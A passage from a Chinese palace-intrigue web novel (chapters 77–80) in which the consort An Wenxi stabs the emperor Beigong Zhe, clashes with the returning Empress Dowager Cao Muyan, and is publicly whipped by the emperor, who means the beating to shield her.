江向晚向来心细,知道他没有用早膳,特地煮了碗红枣粥和一些略微清淡的食物,腹雅的清香一下子勾起了他的胃口,看着盛粥的江向晚,脑海中立即闪出那张苍白的小脸,面前的食物顿时变得索然无味。 “不合胃口?” “没有。” “喆,这粥比较暖胃,我可是亲自熬了半个时辰,你尝尝看。”说着用汤匙舀了粥送到北宫喆嘴边。 “好。”北宫喆接过江向晚手中的碗道,“朕自己来。” “晚儿担心你的伤口不方便……” 北宫喆闻言喝粥的动作一顿,然后喝了两口粥,放下碗道,“朕吃好了,你让人撤了吧。” 北宫喆说完,大步流星的走出了琼华殿,直奔未央宫。 江向晚看着满桌子正升腾着热气的菜肴,握紧了双拳。 “奴婢见过皇上。” 北宫喆扫了眼香茗道,“你们娘娘醒了没有?” “回皇上,还没有。” 北宫喆蹙了眉,他走得时候已经不怎么发烧了,显然是吃得药起了作用,怎么还没有醒? “去请傅太医过来。” 北宫喆进了内殿,安文夕仍在沉睡,月无双也守在一旁,看到北宫喆进来,担忧的瞥了他一眼道:“喆哥哥……” “她怎么样?” “我刚才为夕姐姐把了脉,现在已经一切正常,按道理说,夕姐姐她也该醒了,可是不知为何她却迟迟没有醒来。” 正说话间,傅太医提着药箱前来,“微臣叩见皇上。” “你不是告诉朕她喝过药便会醒来么?” 傅太医立即被惊出了一声冷汗,惶恐道:“请,请容微臣再次为娘娘把把脉。” 北宫喆冷冷的瞧了他一眼,算作是默许,傅太医把了脉,心中更加惶恐不安,这娘娘明明已经无碍了,可为何还是迟迟不醒? “北宫喆……” “北宫喆……我恨你……” “你该死——” 突然从安文夕嘴里溢出了几句细密的呻丨吟,她的贝齿狠狠地咬着唇瓣。 傅太医闻言将头埋进地里,恨不得没有听到这些大逆不道的话,片刻他开口道:“皇上,依微臣之见,娘娘郁结于心,不愿醒来……” 他还没有说完,一道阴鸷的视线紧紧锁住他的头顶,傅太医不禁再次颤抖起来。 “喆哥哥,傅太医说的有道理,这事还得靠夕姐姐自己。” 北宫喆紧抿了嘴角,淡吐道:“朕知道,你们都退下吧。” “喆哥哥……” “无双,明日就让青玄送你回谷。” “不,我要等到夕姐姐醒来再走。” “罢了,你先下去吧。” 北宫喆坐到榻前,将安文夕额前的碎发拢到耳后,覆上那块烙印,指尖一颤,这是他刻在她身上的烙印,永远也消失不了,就如他对她心里的伤害一般。 他突然喃喃道:“你不是要报仇么,你这样一直躺着又怎么能报仇?” “你知道么,你所救的那些人才是真正的该死之人!” 北宫喆将安文夕扶起,盘腿坐在榻上,双手贴在安文夕后背,缓缓为她渡入真气。 接下来的两日,北宫喆除了上朝外,所有时间都呆在了未央宫,衣不解带的照顾了安文夕三日,连曹太后回朝的事宜都交给了江向晚打理。这三日,安文夕出了偶尔咬牙切齿的念叨过北宫喆的名字外,仍然没有醒来的迹象。 北宫喆在安文夕榻前放了张紫檀木桌,上面堆满了奏折,北宫喆听到身后的动静,手中的动作一滞,墨汁滴到纸上立即晕了开来。 “夕儿……” 安文夕依旧紧闭着双眼,待北宫喆将要转过身时,安文夕蓦地睁开了清明的眼睛,眼底的恨意一划而过,她握紧了手里的匕首,朝北宫喆刺去。 北宫喆双眸中的喜色立即被愤怒代替,他一心要救的人,却一心想要他的命! 他狠狠的攫住她的手,冷冷问道:“你就是这么迫不及待的想朕死?” “你给王叔下毒,杀了王叔,我没办法原谅你。”安文夕恨恨的盯着他。 “安文夕你想一想朕有什么理由对他下毒?”这么恶劣的伎俩她也会信么? “王叔不是你杀的,也是因为你而死,你难逃干系!”若不是他灭了大安,王叔他怎么会死?说着安文夕双手握着的匕首用力的插丨进北宫喆的胸口。 第77章 第三片千年龙魄 第七十七章 第三片千年龙魄 由于北宫喆突然松了手,那匕首狠狠的插在了他的胸口处,安文夕蓦地一惊。 刚刚愈合的伤口,再次被利器刺穿,北宫喆口中尽是苦涩,“朕真不该救你!”右手一把握住匕首。 突然一道白色身影突然闪进内殿,一掌掀开安文夕,紧张的看向北宫喆。 北宫喆立即伸手去揽安文夕,右手伸到半空,胸口的伤口被彻底撕开,看到她决绝的眼神,他的右手顿时僵在了半空。 “陌姑姑?”安文夕嘴角挽起了一抹讥笑,捂着胸口看向她。 陌姑姑看了眼安文夕又瞧了眼愤怒的北宫喆,顿时有些慌乱,“我……” 月无双听到动静也立即赶了过来,看到三人对峙的场景,有些微微吃惊,瞥见北宫喆胸口涌出的鲜血,立即从身上摸索伤药,“喆哥哥,先上药吧。” 北宫喆没有接药,半晌,他对陌姑姑道:“你下去吧。”这一次他倒是没有发怒,不知为何,他对这个奇怪的陌姑姑有一种特别的感觉。 由于安文夕身体虚弱,没有力气,这一刀并不深,只是刚好刺到了前些天她伤到的剑伤上了,所有疼痛来的更加尖锐。他一把拔出胸口的匕首扔到安文夕脚下,看了月无双一眼,萧瑟的转身离去。 “其实,喆哥哥也挺可怜的,夕姐姐,你就别和喆哥哥闹矛盾了。” 安文夕苦笑,“无双,你不懂。” “我懂,不就是杀父之仇么,夕姐姐那都过去了,你要学会放下,这样才能活得开心。” 放下?若是父皇在世也一定会这么劝她,就连王叔和她说的最后一句话也是劝她不要在报仇复国。可是,那种被最爱的人杀尽亲人的滋味又有谁能体会? “无双,你什么时候回谷?” 月无双一愣,然后道:“明天吧。” “好,到时候我去送你。”安文夕说着问道,“欢凉呢?” “欢凉正在耳房养伤。” “那你就让香茗进来吧,我想吃点东西。” “夕姐姐,你先休息,我这就去叫香茗。”她差点都忘了,夕姐姐睡了整整三天三夜,肯定是饿了。 安文夕用过膳,身上多了些力气。静坐下来,将真气在体内运行了一周,虽然胸腔受损的经脉还没有长好,但体内的内力明显比以前更精湛纯粹了。不必想她也知道是北宫喆为她渡了真气。 他如此为她,而她一醒来就是要他的命,他那么骄傲的一个人,为她这样低声下气,也怪不得他会如此生气吧。 身体内有个地方蓦地一酸,她想为父皇王叔报仇,可是却不忍杀他,她恨他,更恨自己如此懦弱无能。 如果当时她跟他一起回了北襄,是不是结局会不一样? 心越来越乱,安文夕额头上沁出了一层细汗,蓦地睁开了双眼,一口鲜血立即涌了出来。 “公主,你没事吧。”欢凉惊呼道,“让欢凉给你疗伤吧。” 安文夕用拇指拭去嘴角的血迹道:“不必了,你身上还有伤没好。” 陌姑姑提着水壶进来,脸色有些冷,对安文夕道:“我们似乎需要谈谈。”说着瞥了眼欢凉,意思再明显不过。 “欢凉,你先下去吧。” 欢凉打量了眼陌姑姑,转身出了内殿。 “不知陌姑姑有什么话要对我说?”她没有自称“本宫”,就已经给足了她面子。 “娘娘似乎没有将我上次的话放在心里。”陌姑姑看向安文夕的眼神多了分凌厉,那双绝美的桃花眼中裹着冰霜,这个神态像极了那个人。 若不是那次的长寿面事件,或许她到现在还猜不出她的身份。 “上次奴婢已经劝告过娘娘做事要多多考虑身边之人,若是类似的事情再有下次,就休怪奴婢翻脸不认人!”这一声陡然冷了几分!她这是在警告她! “哦?陌姑姑这是关心箐姑姑和香茗她们,还是关心的另有其人?” “聪明人说话不必拐弯抹角,你知道本宫的意思。”陌姑姑重重咬了“本宫”二字。 “看来贤妃娘娘这是坐不住了。”安文夕提起水壶,给自己倒了杯滚烫的茶。 陌姑姑神色之间多了分凌傲,“本宫这么多年来,唯一的愿望就是他能好好地,若是有人胆敢伤害他,本宫绝对不允许!” “那曹太后呢?”安文夕轻道,说着捧着小盏凑到唇边,浅抿了一口。 果然,陌姑姑听到曹太后这三个字,脸色微变,眼底划过一丝不易察觉的暗光。 “当年,曹太后想在北襄后宫立足,必须要有个孩子。若是我猜的不错的话,曹太后用傀儡术操控了你,夺了你的孩子。而后,曹太后就将他作为一个复仇的工具,灭了北襄、继而又灭了大安。不听话的棋子,往往是被舍弃的,而现在么,曹太后好像越来越控制不了他了。” 陌姑姑脸上大骇,一副不可置信的盯着安文夕,她不仅将当年的事情说的分毫不差,就连曹暮烟的心思也摸得通透,果然是个玲珑剔透的女子,她到底还是太低估她了。 陌姑姑蓦地想到,以前安国羲和公主闻名九州,靠的可不是倾城之色,而是满腹才情! 只听对面的女子清朗道:“陌姑姑真是好本事,在清幽宫装疯卖傻这么多年,成功的躲避了曹太后的眼线。” 安文夕不由得好奇了,如果单单只是装疯卖傻的话,曹太后既然可以操控她,定然不会留她到现在。上一次曹太后来夏宫的时候,她可是记得陌姑姑躲避到了凤青轩! “你错了,曹暮烟为人阴狠,又修炼了邪功,嗅觉比常人更加敏锐。她之所以找不到本宫,是因为本宫这里不是心脏,而是——第三片千年龙魄!”陌姑姑指了指自己的胸口。 “这片千年龙魄就是他一直在找的那片,可惜早就十年前就在本宫体内了。” 安文夕脸上微微闪过讶色,“这千年龙魄竟真的可以代替心脏!”这自然无法用科学来解释,自从重生到这个九州大陆,对于这个世界上的一些玄幻的事件,安文夕选择了接受,因为当初她出生的时候,由于体弱而难以活过三岁,就是千年龙魄救了她! “本宫最后一次警告你,你以后若是再敢伤害他,本宫决不饶你!” 安文夕看着陌姑姑狠戾的眉眼,蓦地笑了,“陌姑姑,再有两日,曹太后就抵达夏宫了,你如今都自身难保了,又如何来威胁我?” “这个就不必你操心了,记着本宫对你说过的话!” “陌姑姑放心,我和他身上被种了相思蛊,他死了,我也活不了,我也是惜命的紧!” “你知道就好,告辞!” 安文夕看着陌姑姑略显单薄的身影,勾了勾唇,这也是可怜人罢了。 “欢凉,收拾一下,等无双走后,我们也该离开了。” “离开?晟世子没说要让我们离宫。” “如今连虚情假意也装不下去了,再呆在宫里也有害无益,你安排一下,走的时候将箐姑姑和香茗接到宫外。” “是。”欢凉知道她心意已定,她多说无用。 震惊朝野的刺杀一案不出三日已经结案,所有的刺客全部被挂在了墙门上,其中有一人曾是北襄六皇子身边的副将。高大庄严的城墙上挂满了尸身,三日后所有的尸体皆不翼而飞,有人说被刺客组织全部劫走安葬,也有人说全被剁成了烂泥喂了狗。 众人再一次见识了大夏新帝的残暴与血腥,在他的世界里,没有审问,只有罪不可恕和铁血镇压! 安文夕和月无双挥手告了别,看着越走越远的马车怔怔出神。 自由,对她而言,一直都是可望而不可即的。前世是,今世亦是。 半晌,她伸手接起飘落的六凌雪花,扬起了嘴角,这是今年的第一场冬雪,六瓣的雪花,晶莹剔透,多美啊…… 她不知道的是,在离她不远处,有一辆华丽的凤辇高调的驶进了宫城,曹暮烟靠在软榻上吃着这个季节稀有的瓜果,一脸惬意,一路的颠簸在她脸上并没有显露半分疲惫。她脸色红润,妆容精致高贵,一身绛紫的宫装衬得她十分年轻。 她脚边的沧月轻轻地为她捶着腿,一脸温柔的看着她。 曹暮烟懒懒的掀了眼皮问道:“快到宫城了么?” “快了快了,你好好躺着便是,到时候我叫你。” “离夏宫越近,哀家反而越来越睡不安稳了。”说着又闭上了眼睛。 “你好好养着精神,一会到了夏宫又得折腾一阵子,估计现在满朝文武都已经候在宫门口了。” 说着话,曹暮烟轻轻起了鼾声,又睡着了,好像自从她小产后,就越来越嗜睡了。 沧月为她掖了掖被角。 当华贵的凤辇驶进宫门,北宫喆带着所有朝臣皆行礼道:“恭迎母后!儿臣给母后请安。” “恭迎太后娘娘!太后娘娘千岁千岁千千岁!” 曹暮烟由沧月扶着下了轿辇,举手投足之间尊贵无比,凤仪万千,穿着大红色的狐裘斗篷,身后的绛紫宫装逶迤三尺有余,极尽端庄。 “皇儿不必多礼,众卿家也都平身吧。” 众人抬头看向曹太后,看起来不过三十岁多一点,端庄明丽,似乎比上次来夏宫更加年轻了几分。 第78章 娶你进门 第七十八章 娶你进门 北宫喆看着沧月和曹暮烟一同从凤辇中下来,眼底飞快的闪过一抹厌恶。 然后他起身迎了上去,搀着曹暮烟道:“母后一路风尘仆仆,定然十分劳累,儿臣早就将母后曾住的长乐宫收拾妥当,母后不如先去歇息歇息。” 曹暮烟含笑的拍了拍北宫喆的手道:“皇儿有心了。” 虽然彼此相互算计,相互厌恶,这装还是要装一下的! “皇儿朝中之事繁忙,就由张海送哀家去长乐宫好了。” 北宫喆含笑道:“既然如此,那儿臣便依了母后。”随即对跟在身后的张海道,“你送太后娘娘回长乐宫。” 此时,雪花肆意的飘洒着,沸沸扬扬的雪花使天地之间逐渐披上一层纯白。 沧月为曹暮烟撑着伞,雪地上留下一串并排的脚印,看着那脚印,北宫喆耳边仿佛飘进了一串银铃般笑声。 她说:“九哥哥,你看这雪花有六个瓣呢,多好看啊!” 她说:“你听,脚踩在雪地上的声音多好听呀!” 她说:“我最喜欢下雪天,因为大雪可以掩盖世间所有的肮脏。” …… 北宫喆迈动了步子,雪地上立即发出咯吱咯吱的声音,的确很好听,他的嘴角攒起了一抹苦笑。 “青玄,你去看看太后去了哪里?”今天太后来夏宫,他并没有让人告诉她,他也没打算让她去迎驾,他不想再让她和太后有什么纠葛。 不远处的一道白衣身影满眼含恨的看着这一幕,双拳紧紧握着,好一个母慈儿孝的场面! 众位妃嫔皆守在九华殿门口,等着路经此处的曹太后,她们个个打扮得体,既不浓艳夺了太后的风采也不太过清丽,拂了太后的面子。就连女官江向晚都来了,可独独不见瑾淑妃。众人不禁暗暗猜测起来。 听说万寿节那晚瑾淑妃竟然行刺皇上,皇上一气之下将她禁足在了未央宫,但是连着几日皇上皆宿在了未央宫,传言不攻自破。但是作为这宫里面位分最高的瑾淑妃竟然没有前来应该太后,这的确令人费解。 这其中原由只有江家两姐妹清楚,那安文夕没有来,是因为太后不喜她,皇上这是在保护她呢! 有些妃嫔不禁皱了眉,她们都已经足足在这里等了一个时辰了,天上还落着雪,北风凛冽,即便抱着手炉,但是全身也会被冻僵了。不管心中有多不愿,她们丝毫也不敢表露出来。 就在她们心思各异之时,一道尖细的嗓音喊道:“太后娘娘驾到!” 众人忙俯身行礼道:“臣妾、嫔妾见过太后娘娘,太后娘娘万福金安。” 一双银色的小皮靴映入眼帘,上满缀着硕大的珍珠,足见尊贵,众妃只觉得头顶处传来一阵巨大的压迫感,就在她们半蹲的双腿发酸之时,只听得一声分外柔媚的声音道:“都起来吧。” “难为你们在这风雪中等了哀家这么长时间,辛苦了。”这一声倒稍显了凌色。 众人这才抬起看去,脸色浮现惊色,大部分妃嫔这是头一次见曹太后,都没有想到曹太后竟然如此年轻妩媚,甚至比她们还更具魅力。 彭安容很快收去了脸上的惊讶,嘴角挂上温婉的笑意道:“能伺候太后娘娘是臣妾等人的福分,哪有辛苦一说,太后娘娘这样说,真是羞煞臣妾了。” 曹暮烟朝她看去,说道:“你是彭将军家的嫡长女吧,没想到沉默寡言的彭将军倒是生了个能说会道的女儿。” “太后娘娘谬赞了。” 曹暮烟微勾了唇,将视线看向江向晚道:“哀家听说皇儿封了晚儿为贴身女官,真是胡闹,这也太委屈你了。” 江向晚走过来扶着曹暮烟道:“晚儿只要能常伴皇上身边,便不委屈。” 曹暮烟拍了拍她的手道:“你是个好孩子,哀家定然会让皇上早日娶你进门。” 众人闻言,心中皆是一震,娶进门,不是只有正妻才能被娶进门么?这太后娘娘的意思再明显不过,这皇后只有江向晚才有资格! 江向晴藏在衣袖里的手紧紧的攥着衣袖,为什么对她这么不公平,她姐姐爱皇上,她也是将整整一颗心全部放在了皇上身上,为什么她为妃,她姐姐则是后? “哀家听说皇上新封了位瑾淑妃,如今皇上妃嫔单薄,这瑾淑妃也算是这宫里头一个了,让哀家瞧瞧到底是怎样的美人,能让皇儿如此宠爱?”曹暮烟说着朝众人看去。 在场的妃嫔皆微微低下了头,用眼尾四处打量着。 “怎么,还不好意思了?” 江向晚笑道:“太后娘娘,瑾淑妃身体不适,今天没有来。” “既然是这样,就让她好好将身体养好。”这一声带了丝冷意。 众人在心底冷笑,这瑾淑妃一下子就得罪了太后,以后有她的苦头吃! “走吧,陪哀家去长乐宫喝杯热茶暖暖身子,哀家喜欢热闹。” “是。”众位妃嫔皆跟在了曹暮烟身后,太后发话了,谁敢不从? “娘娘,请吧。”张海有意避开了未央宫的方向,对曹暮烟道。 “你这奴才别糊弄哀家,哀家可是记得长乐宫是如何走的。”说着朝着未央宫的方向前进。 张海心中大呼不好,今天皇上既然没有让瑾淑妃接驾,可见是不想让瑾淑妃和太后娘娘见面,这太后若是经过未央宫,可如何是好。 “太后娘娘,奴才就是有一百颗脑袋也不敢糊弄您呐,奴才是想着太后娘娘一路舟车劳顿,这边的路程较远,怕累了太后娘娘。” “哀家在车上憋了一个月,这骨头架也都迟钝了,如今刚下了马车,哀家想多走走。” 张海张了张嘴,却说不出话来,看到沧月向他投来的警告眼神,心中一惊。 太后话都说到这份上了,张海若是再阻止,就把太后得罪大了,他一阵叫苦不迭,立即跟了上去。 曹暮烟一路和江向晚说着话,在旁人看来,十分祥和。待她们走到未央宫时,曹暮烟停下脚步问身边的江向晚道:“哀家上次来夏宫时,这未央宫里住了位柔妃,今日怎么不见她了呢?” 关于柔妃的事情江向晚多少也知道些,对曹暮烟道:“太后娘娘有所不知,柔妃已经被皇上贬到了清幽宫,如今这未央宫里的是皇上最宠爱的瑾淑妃。” “柔妃被贬到了清幽宫?倒是可惜了那娇柔的可人儿了。” “晚儿听说那柔妃是瑾淑妃的姐姐,在瑾淑妃被封为瑾妃的当日,她被皇上贬去了清幽宫。” 江向晚轻松两句话就给瑾淑妃扣上了心狠手辣的帽子,果然是个中高手,这江大人原来也是个笑面虎啊。 “哦,原来是这样。”曹暮烟淡淡道,眼底飞快的划过一抹阴狠,雪下的越发的大了,纷纷扬扬,她丝毫没有要走的意思,一众人皆停到了未央宫门口。 沧月锐利的双眸看向张海,朝他递了个眼神,张海忙低了头,假装没有看见他的眼神。他何尝不知道沧总管的意思是要让他去请瑾淑妃出来给太后娘娘请安。看来今天太后娘娘是不打算放过瑾淑妃了,他得罪不起太后娘娘,可是他的主子毕竟还是皇上! “张海,你去请瑾淑妃前来见驾,哀家瞧瞧。”曹暮烟的声音冷意又深了几分。 张海此刻真是恨不得当做隐形的,听到曹太后点了他,不得不硬着头皮道:“奴才遵旨。” 安文夕刚送了月无双回到了未央宫,还没有来得及解开斗篷,便见张海慌里慌张的跑了进来,凛冽的寒风将他的鼻尖冻得通红。 安文夕以为又是北宫喆有事找她,脸上带了些冷意,对张海道:“不知张公公前来,所为何事?” 欢凉立即给张海倒了杯热茶道:“张公公先喝杯茶暖暖身子。” 张海感激的看了眼欢凉,他此时可顾不上喝茶,将茶放在桌上道:“瑾淑妃娘娘,太后娘娘和众位妃嫔皆等在了未央宫外,太后娘娘更是点名了要见您,只怕事情不妙啊。” 曹太后来了?不是说要过两日才会抵达夏宫么。 安文夕冷冷勾唇,这曹太后只怕是知道了自己现在成为了瑾淑妃,想要刁难自己。 “有劳张公公通知本宫了,欢凉随本宫出去见驾。” “瑾淑妃,刚才江小姐已经跟太后说了您身体不适。” 安文夕立即了然,“多谢张公公提醒。” 张公公拉住欢凉道:“奴才寻思着太后娘娘会为难瑾淑妃,如今能救瑾淑妃的只有皇上了,不如你偷偷的从未央宫后门出去将皇上请来。”就算是冲着刚才的那杯热茶,他张海也得提醒提醒瑾淑妃。 安文夕心中一暖,这个张公公倒是真心关心自己的,“不必了,张公公,皇上公务繁忙,本宫不便去打扰,若是太后知道了本宫私自去请皇上,只怕以后会更容不得本宫了。” 张海知道她刚刚刺伤了北宫喆,两个人还在闹别扭,瑾淑妃抹不开这个脸,他只得道:“瑾淑妃所言有理,那您就随奴才走吧。” 众人等了一会,仍然不见有人出来,寒风如刀,冻得人瑟瑟发抖,不禁在心中怨恨起安文夕来。 彭安容嘴角挂着讥笑,这瑾淑妃好大的架子,竟敢让太后在风雪中足足等了她一刻钟,看着太后带着愠色的脸,彭安容瞥了瞥嘴,安文夕这下子可是把太后给得罪彻底了! 第79章 冲撞太后 第七十九章 冲撞太后 就在这时,一把油纸伞出现在了众人的视线里,油纸伞压得很低,众人看不见脸,只看到一位娇小玲珑的女子身着大红的狐裘披风,那红比曹太后身上的斗篷还要更明艳耀眼。衣袖里露出葱白玉手紧了紧脖颈处的白狐围领。 离得近了,众人才看清了来人的面貌,脸色苍白有些憔悴,更显我见犹怜,大大的杏目凭添了一抹水灵,她还未行礼,便娇丨喘微微。 曹暮烟看见了她的面目,眼底的厌恨怎么也掩饰不了,握着江向晚的手都不自觉的加大了力气。 他果然纳了她为妃,竟然还许她了淑妃,让她独霸后宫,他真是越来越放肆了,她又想起了她刚满了四个月的孩儿被他生生害死腹中,眼里的恨意一股脑的朝安文夕砸去,手腕上青筋毕露,鼓起了一个个小疙瘩,似乎有什么东西要从皮肤下面钻出来一般。 众人不经意间看见了这样的曹暮烟,脸上浮现讶色,竟也忘记了掩饰,这样的曹太后好可怕! 沧月知道她这是又要入魔,忙微微拂了下她的腰肢,试图平复她的心情,防止她在众人面前露出吓人的一面。 “瑾淑妃,你真是好大的架子,让太后娘娘足足等了你一刻钟。”沧月尖细中略带嘶哑的声音响起,格外的刺耳。 安文夕直接将这假太监的话忽略,不动声色的掏了掏耳朵,然后翩翩福身行礼道:“臣妾见过太后娘娘。” 曹暮烟看着她微倾的身子冷哼道:“瑾淑妃在宫里这么长时间就是这么学得规矩么?” “太后娘娘,奴才听闻以前这瑾淑妃是大安的公主呢。”沧月道。 曹暮烟锐利的双眸再次打量起安文夕来,“你们大安的礼仪就是这般么?” 安文夕双腿有些发酸,知道曹太后这是存心与她过不去,即使她百依百顺换来的也不过是羞辱与嘲笑,她含着病态的笑意起了身,还没来得及开口,便听到沧月冷冷道:“瑾淑妃,你好大的胆子,太后娘娘还没有吩咐你平身,你怎么敢私自起身!” 一个老妖婆,一个假太监一唱一和,故意给她难看,让她出丑!她嘲讽的看着这二人,还真是贱人成双——绝配! “在我大安,崇尚宽和待人,父皇也总是善气迎人,礼仪温雅。” 曹暮烟被她这句话气得半死,这个小贱人是什么意思,这是在骂她不是良善之辈,不宽和待人么? “放肆!”沧月脸色铁青,利眸狠狠地盯着安文夕道:“还不赶紧跪下向太后娘娘赔罪!” 安文夕也冷冷扫了他一眼,真是一条令人讨厌的乱叫的狗! 跪?安文夕嘲弄的勾了勾唇,这个老妖婆还没有资格让她下跪,她曾经差点毁了她的一双手,还让一群太监去侮辱她,她怎么能忘? 安文夕冷哼一声,转身一步步走向未央宫。 这简直是赤果果的蔑视、挑衅,曹暮烟差点被这一幕气炸,双眸血红,紧紧锁着安文夕的后背,恨不得戳几个血窟窿。 众位嫔妃都难掩心中的惊讶,为何太后娘娘这么容不得瑾淑妃,而瑾淑妃虽然张扬,但在待人方面向来还算温和,今天又是为何执意和太后娘娘起了争执? 江向晴冷冷瞧着这一幕,嘴角有抹淡淡的讥笑,这瑾淑妃也不傻,怎么会如此没脑子的冲撞太后?真是恃宠而骄,得罪了太后,看皇上还能不能保得住她!这位眼前的太后娘娘可不容小觑,当年从夏朝辗转到北襄,从一名小小的采衣一步步登上太后之位,可见手段不俗,这下可是有好戏看了! “栗嬷嬷,去,去给我掌嘴!”曹暮烟对身后一直沉默的中年宫女吩咐道。 “站住!”栗嬷嬷伸手拦住安文夕的去路,厉声道,“一个小小的淑妃也敢藐视太后娘娘,真是不知死活!”说着竟然往她的腿弯踹去。 安文夕眸光一冷,隐在衣袖中的右手蓦地掷出一枚尖锐的石子,当场将栗嬷嬷的膝盖砸得出血,栗嬷嬷膝盖吃痛,差点跌倒在雪地之中,捂着膝盖哀嚎道:“哎呦,我的膝盖,你这个小贱蹄子,看我不打死你!” 栗嬷嬷发了狠一般朝安文夕脸上招呼去,安文夕毫不费力的将她一脚踢开,冷冷道:“一个贱婢也敢对本宫大呼小叫,真是活腻了!” 反了,她要反了!曹暮烟怒视着这一幕,栗嬷嬷是她的贴身嬷嬷,就是北宫喆也要敬上几分,今天竟然被这个小贱人打伤了,这让她的脸面往哪放! 她飞身掠到安文夕身前,手心的蛇蔓渐渐涌出皮肤,往手腕上攀爬,样子十分可怖。由于曹太后背对着众人,这一幕只有安文夕和欢凉瞧见。 曹暮烟伸手就要掌掴安文夕,安文夕勾起苍白的唇,右手用力的攫住她将要落下的手,看着她手心里肆意蔓延翻腾的蛇蔓枯藤,眸光渐深。 突然,曹暮烟手里的蛇蔓开始向安文夕面门袭来,安文夕左手摸向藏在靴子里的匕首。沧月眼见就要暴露,立即掠身过去阻止曹暮烟,就在这时,比他更快的是一道明黄的身影蓦地现身,仿佛是掠光而来。 众人还没有来得及反应,就看到北宫喆凌冽的掌风夹杂着漫天飞扬的冰雪一同拍向安文夕。 这一切都来的太过突然,安文夕被北宫喆径直的拍出老远,半晌,她从嗓子眼呕出一大口鲜血来,将地上的雪染红,如盛开的朵朵红梅。 只见那道明黄的身影来到曹太后面前,单膝下跪道:“儿臣不孝,让母后受惊了。” 沧月一边平复着曹暮烟的情绪,一边说着安文夕的大逆不道。 曹暮烟仍然被气得双眸血红,怒道:“皇帝,这就是你的淑妃?哀家可是见识到了!” 众人妃嫔都微微垂着头,不敢去看一些不该看的东西,只见那抹明黄慢慢走向瑾淑妃道:“顶撞母后,你可知罪?” 安文夕看着神情冷涩的北宫喆,心口处蓦地一疼,胸腔内此时也正火辣辣的疼,她亦冷冷的瞧着北宫喆,抬手擦掉嘴角的血迹。 北宫喆剑眉微蹙,“过来,向母后请罪!” 安文夕没有动,只是慢慢摸向腰间,那里正盘着一条七节鞭。 “怎么,你还想动手?”北宫喆的声音又冷了几分,“青玄,拿朕的鞭来,今日朕就要教训一下这个不知天高地厚的女人!” “皇上……” “拿来!” 北宫喆看着她苍白染血的唇瓣,眼底划过一抹怜惜,比这更快的是凌厉的鞭子直接抽丨打在她的身上。 “娘娘……”欢凉扑在安文夕身上为她挡下了这一鞭,背脊上传来的疼痛,提醒着她这一鞭的力道。 “欢凉,你起来,他要打的是我。” 欢凉死死地抱着安文夕的手不放,公主的身子已经经不起折腾了。 安文夕用力扯开欢凉,对上北宫喆的视线道:“你除了鞭笞,就没有别的了么?” 她嘴角的那抹讥笑格外刺眼,北宫喆咬牙再落了一鞭,不料被安文夕徒手接住,她死死地握着鞭尾,手里渐渐涌出鲜血来。 “不知所谓!”北宫喆蓦地一脚将安文夕踢出几丈远,她重重的将地上铺着的雪花砸出一片大坑来,扬起一阵雪屑。 安文夕撕心裂肺的咳起来,再次涌出了几口鲜血来,她看着雪地上被殷红的血染得一片血红,喃喃道:“我怎么将它弄脏了。”说着捧起地上的雪花将那赤红的血迹掩盖。 那细如蚊蝇的声音传入北宫喆耳中,令他浑身一震,握着鞭子的手都不觉得颤抖起来,他微阖了眼睛,再次扬了鞭。 “啪——”清晰地响声传遍了在场每一个人的耳中,只听着那声音都足以皮开肉绽!细密的鞭子一下下砸下来,令在场的一些嫔妃头皮发麻! 她们再次看向安文夕的眼神多了分顺畅,经此一事,这瑾淑妃就算是不打入清幽宫,也得贬了位分!只怕她再想翻身比登天还难! “这就是你不尊不敬的下场!”北宫喆每落一下,他的心都被撕扯的心血淋漓。 十下了,也该差不多了,北宫喆不动声色的点了安文夕的昏穴。 “皇上,求您住手,娘娘已经昏过去了,她的身子承受不住啊,您要打就打我吧!”欢凉一把护在了安文夕面前。 北宫喆淡淡扫了她一眼,对曹太后道:“母后,您可还满意?” 曹暮烟由沧月扶着走了过去,看着安文夕虽然脸色憔悴苍白,但并伤得不重。他这鞭声大,力道小,当她曹暮烟是好糊弄的么! “皇儿,哀家这瑾淑妃不遵礼仪,改日不如让栗嬷嬷好好教导教导她。” “是,等她身子好些了,就让她跟着栗嬷嬷好好学学规矩。”北宫喆上前搀着曹暮烟道,“儿臣送母后回宫。” 曹暮烟回头看了眼众人道:“今天让你们看笑话儿了,都各自回宫吧,哀家有些乏了。” “是。”后面的众位妃嫔面色各异,眼睛不时瞥了瞥卧在雪地里的安文夕,然后三五结伴着回了宫。 待众人走后,欢凉唤道:“公主,你醒醒啊,公主。”她咬了咬牙,将安文夕驼到身上,颤颤巍巍的未央宫走去。 第80章 与虎谋皮 第八十章 与虎谋皮 与虎谋皮 北宫喆一路扶着曹暮烟,到底还是忍住了没有回头,这样一来她只会更加恨了他吧,可是今日只有这样他才能保得住她。 在众目睽睽之下,她竟然公然挑衅太后,她若是被太后再次带进长乐宫,后果真是不堪设想!且不说他现在还不是和太后翻脸的时候,若是今日的事情传到百官耳中,她的言行有亏,品德不佳,将来他难以立她为后! 她向来性子隐忍,今日怎么会好端端的与太后起了争执?难道是…… 北宫喆想到这里,心蓦地一滞——她想出宫! “皇儿、皇儿……” 北宫喆再次看向曹暮烟道:“母后在叫儿臣?” 曹暮烟红唇轻启,嘲讽道:“皇儿是不是在想你那个美人儿了,母后跟你说着话,你的心早就飞到她那了吧。” “母后取笑儿臣了,不知母后在说些什么?” “皇儿,你说这长乐宫是不是太冷清了些?” “母后不是素来喜欢清静么?”北宫喆说着瞥了眼曹暮烟身侧的沧月,人多了你们两个就不方便了吧! “哀家素来怕冷,你在哀家这宫里面多生些炉子。” “儿臣考虑不周,这就让人吩咐给母后重新布置,儿臣告退。”北宫喆说完立即出了长乐宫,仿佛一刻也不想这这里多待。 “去让小路子看看皇帝是不是去了未央宫?”北宫喆一走,曹暮烟立即冷冷道。 沧月无奈的叹了口气道:“烟儿,你又何必和他计较太多。”其实,他们现在就已经很好了,再也不必担心生死的问题了,真是比以前好了太多,他不明白为何她还是不知足呢? 过了片刻,小路子回了长乐宫,躬身对曹暮烟道:“回太后娘娘,皇上他回了琼华殿。” 曹暮烟闻言眸光一闪,说道:“哀家知道了,你下去吧。” “他到底还是顾忌着哀家呢!” 沧月微微垂了眸光,这两年来,烟儿的脾气越发的暴躁了,常常为了些小事而大发雷霆,更是受不得一丁点儿失败。 曹暮烟继续冷哼道:“当日哀家怀了孩子,他握了哀家的把柄才会如此放肆,如今哀家掌控着他的生死,他还有什么能耐?只要哀家一日是太后,他一日就得尊着哀家!” 